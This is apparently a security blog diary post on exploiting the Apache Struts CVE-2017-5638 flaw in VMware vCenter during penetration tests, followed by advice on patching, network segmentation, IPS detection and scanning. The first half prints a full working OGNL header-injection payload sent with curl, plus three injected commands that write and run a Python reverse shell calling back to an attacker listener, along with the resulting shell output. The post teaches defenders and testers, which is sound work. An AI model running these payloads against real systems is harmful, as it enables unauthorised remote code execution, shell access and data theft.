Struts Vulnerability CVE-2017-5638 on VMware vCenter - the Gift that Keeps on Giving

Published: 2019-02-04
Last Updated: 2019-02-04 16:03:51 UTC
by Rob VandenBrink (Version: 1)
1 comment(s)

All too often when doing an internal security assessment or penetration test, a simple NMAP scan will find back-end infrastructure such as RADIUS servers, Hypervisors, iLo, iDRAC and other BMC host addresss - essentially the parts of the datacenter that real people shouldn't need access to.

At which point, the heart to heart with your client should be "really, why exactly does "Steve in Accounting" have access to your hypervisor? (ESXi, vCenter console, Hyper-V or whatever?)   It's an even better point to make when you can make those connections from the Guest Wireless network.

The next conclusion should be - wait a minute!  After a quick check with a browser, that version and patch level of vCenter that we just found has a Remote Code Execution (RCE) vulnerability - the Apache Struts vulnerability CVE-2017-5638 - - remember the Equifax breach?  The Canadian Revenue Agency?  I could go on, the list is pretty lengthy.  All too often we see Windows hosts being patched at a reasonable rate, but internal management infrastructure like VMware vCenter, BMC controllers, routers, switches and firewalls get patched annually, or maybe just when they are installed and then never again.  Even though you can patch most "N+1"  Hypervisor environments without impacting service.  This leaves the client open to a plethora of default credentials and "old CVE" type vulnerabilities.  
In the case of vCenter, we can exploit the host with a simple curl command:

curl -v -k https://vSphereIP/statsreport/ -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='evil command goes here').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

Replace "vSphereIP" with your target host ip or dns name, and "evil command goes here" with your evil command.

Let's take things one step further - referencing Mark Baggett's most excellent one line reverse shell:

Using the Struts vulnerability I wasn't able to get everything escaped out correctly, so I broke it into 3 injected commands.  In this example, the vCenter server is at, the attacker is a Linux host at  The callback host is the attacker, but it could just as easily be a $evilserver on the public internet.
The first two injected commands create a python file:

echo import socket;import subprocess ;s=socket.socket() ;s.connect(("",9000)) > %temp%/
echo while 1: p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); s.send( + >>%temp%/

The third command executes the file:

python %temp%/

The full sequence of commands as executed on the Linux host are:
first, on the target for the reverse shell (on your internet $evilserver) set up the listener:

evilserver# nc -l -p 9000

Next, from your attacking host, create the python script on the vCenter server:

curl -v -k -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd = 'echo import socket;import subprocess ;s=socket.socket() ;s.connect(("",9000)) > %temp%/').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

curl -v -k -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd = 'echo while 1: p = subprocess.Popen(s.recv(1024), shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); s.send( + >>%temp%/').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

Finally, run your script on the vCenter host:

curl -v -k -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd = 'python %temp%/').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

After which we have a full shell on our listening $evilserver:

root@kali:~# nc -l -p 9000
nt service\vmware-perfcharts
Volume in drive C has no label.
Volume Serial Number is DCD1-1A36

Directory of C:\Program Files\VMware\vCenter Server\perfcharts\wrapper\bin

  1. 12:49 PM <DIR> .
    12:49 PM <DIR> ..
    04/10/2015 11:57 AM 1,121 heapsize_wrapper.bat
    04/10/2015 11:57 AM 4,473 InstallPerfCharts.bat
    04/10/2015 11:57 AM 4,475 QueryPerfCharts.bat
    04/10/2015 11:57 AM 4,475 StartPerfCharts.bat
    04/10/2015 11:57 AM 4,475 StopPerfCharts.bat
    04/10/2015 11:57 AM 4,475 UninstallPerfCharts.bat
    04/10/2015 11:57 AM 629,016 wrapper.exe
    7 File(s) 652,510 bytes
    2 Dir(s) 14,066,507,776 bytes free

Microsoft Windows [Version 6.3.9600]

At this point you have a shell, not a terminal.  This means that an interactive powershell session won't work, but WMIC commands will work, as well as anything else that'll run in a shell rather that a TTY:

wmic qfe list brief
Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status
Update KB2919355 VC\Administrator 3/21/2014
Update KB2919442 VC\Administrator 3/21/2014
Update KB2937220 VC\Administrator 3/21/2014
Update KB2938772 VC\Administrator 3/21/2014
Update KB2939471 VC\Administrator 3/21/2014
Hotfix KB2949621 VC\Administrator 3/21/2014

So will executing a fully formed PowerShell script (you'll likely need to bypass the execution policy though)

Would this have worked on the vCenter virtual appliance?  You Betcha!  The script to exploit the Struts vulnerability has a nifty OS detection thing - it'll work on pretty much any popular OS that supports Struts.  We would have had to modify the host firewall to allow the outbound tcp/9000 first on a virtual appliance vCenter though.

So where do we go from here?  First of all, before running any of the fun 'sploits-n-shells stuff, you need to contact your client and get permission - messing around with vSphere in a penetration test is most often something folks are NOT on-board with.   Most often, after detection I'll get permission to run the rest of this exercise in my lab, using the save versions of vSphere and vCenter that the client is running (hint - you can easily stand ESXi and vCenter up inside of VMware Workstation).

Now that we have a shell, what can we do?  Well, pretty much anything, up to an including exfiltrating entire virtual disks, or the whole VM if that makes the point better in your penetration test (you'll need some privilege escallation first for that - you are starting with NT SERVICE rights - the virtual account is "NT SERVICE\vmware-perfcharts").  

Again, if you get this far on a production server, you DEFINITELY need permission to exfiltrate a VM (or any portion thereof) - odds are vanishingly small that you'll get permission to exfiltrate it, or if you do, it'll be to a machine inside the firewall that's under your client's control.

Other products that are vulnerable?
There are other vendor products that are vulnerable - Cisco for instance has a complete list here - most major vendors have their own list for this specific issue:
The product that I see most often in penetration tests (besides vCenter) is Cisco Identity Services Engine (ISE) - this is a fun one to exploit, since that's normally where you see 802.1x authentication of users and workstations for wired and especially wireless access happen.

Cool exploit, but the findings in the report shouldn't have anything to do with the exploit, the specific patch or stealing virtual machines or credentials from wireless sessions.  What should your client consider to protect against something like this?

Most importantly, for prevention:
An accurate OS and Software inventory should be maintained across the enterprise (CIS Critical Controls 1 & 2)

A patching schedule should be maintained for Servers, Workstations and Critical Infrastructure, then you should be meeting that schedule as part of  your regular IT operations (CIS Critical Control 3).  You want to patch these as they come up, or else it's easy to forget to come back to them later - putting these off tends to lead to vulnerabilities in the dusty corners of your infrastructure that fester for years, or until an internal assessment or pentest shines a light on them.

Administrative hosts such as vCenter, ESXi hosts and similar should be on a dedicated network segment (CIS Critical Controls 9,14), which should be firewalled away from user networks and most server networks (CIS Critical Controls 9,11,12) .  All too often the receptionist has network reachability to these hosts (as do unattended ethernet ports in the meeting rooms or the wireless SSID that has the easily cracked or recovered pre-shared key).

You'll likely want several "admin / infrastructure" network segments.  Likely you don't want your BMC (iLo, iDRAC or other server admin consoles) on the same segment as anything for instance.
Even without segmentation, lots of infrastructure will have an integrated firewall (ESXi, vCenter, most network infrastructure just to start), so that only known administrative stations can access them - these should be configured where possible (CIS Critical Controls 3,5,7,9,11)
F‌inally, admin logins should be logged.  In many cases, admin logins outside of backup or change windows should generate alerts - admin logins to routers, switches should be infrequent enough for that, often firewalls too for instance.  (CIS Critical Controls 4,6,16)

For detection:
Your IPS will definitely catch this attack, but if it's an HTTPS site (which it almost always is), ONLY if you are decrypting that flow.  Also, your IPS needs to be able to "see" the traffic.  If this attack is from an internal server or workstation to a target server, your IPS may not "see" this at all.  If it is in line though, and it is decrypting, then Snort for instance will catch this using one of the following SIDs:

(1:41818) SERVER-APACHE Apache Struts remote code execution attempt
(1:41819) SERVER-APACHE Apache Struts remote code execution attempt
(1:41922) SERVER-APACHE Apache Struts remote code execution attempt
(1:41923) SERVER-APACHE Apache Struts remote code execution attempt

Logs on vulnerable server have a shot at catching this also, but in most cases, don't hold your breath.  You don't usually have the full component logs for larger apps that use sub-components like Struts.

Scanning (Hunting):
Scanning for this vulnerability "on the wire" can be problematic.  NMAP has a script for this, but you need the exact path to the vulnerable part of the site, which will very from product to product, site by site.    

nmap.exe -p 443 --script http-vuln-cve2017-5638 --script-args path=/statsreport

Starting Nmap 7.70 ( ) at 2019-01-21 19:11 EDT
Nmap scan report for
Host is up (0.00s latency).
443/tcp open https
MAC Address: 00:0C:29:C3:4D:9D (VMware)
| http-vuln-cve2017-5638:
| Apache Struts Remote Code Execution Vulnerability
| IDs: CVE:CVE-2017-5638
| Description:
| Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
| vulnerability via the Content-Type header.
| Disclosure date: 2017-03-07
| References:

But if you don't know the vulnerable path, you won't get a hit:

nmap -p 443 --open --script http-vuln-cve2017-5638
Starting Nmap 7.70 ( ) at 2019-01-21 19:09 EST
Nmap scan report for
Host is up (0.00035s latency).

443/tcp open https
MAC Address: 00:0C:29:C3:4D:9D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.48 seconds

Tools like Nessus will do a better job, but if you're using Nessus, an authenticated scan is the way to go.  This will list out all the products in play on each host, any missing patches and Nessus's idea of the priority.  From that you can piece together the real vulnerabilities that you have in play and put a plan together for patching. Be prepared for a LOT more information than you need from a scan like this - you'll need to winnow through lots of duplicate and superflous information to come up with your "do this" plan.

Really, inventory, patching and network segmentation are what's going to save your bacon for most "well known" vulnerabilties of this type.  Authenticated Scanning will help the most with planning.  If your IPS is seeing this traffic on the inside, you might be too late (or not, maybe the malware that's trying this exploit isn't too smart).

Looking for more info?
To dig further into Python, look to any number of how-to sites, starting with, or for a more "evil" perspective, consider taking SANS SEC573: Automating Information Security with Python -
For the attacker / defender points of view of VMware and other Private Cloud infrastructures, look to SEC579: Virtualization and Software-Defined Security -
Your specific product will likely have a vendor hardening guide or other security guidance, often you'll find a CIS Benchmark for securing your configuration as well (vCenter has both):
And of course, the CIS Critical Controls:

Rob VandenBrink

1 comment(s)


Didn't see it in the post but for anyone wondering this was addressed by VMSA-2017-0004

If you haven't patched your hypervisor infrastructure since early 2017, you're gonna have a bad time.

Diary Archives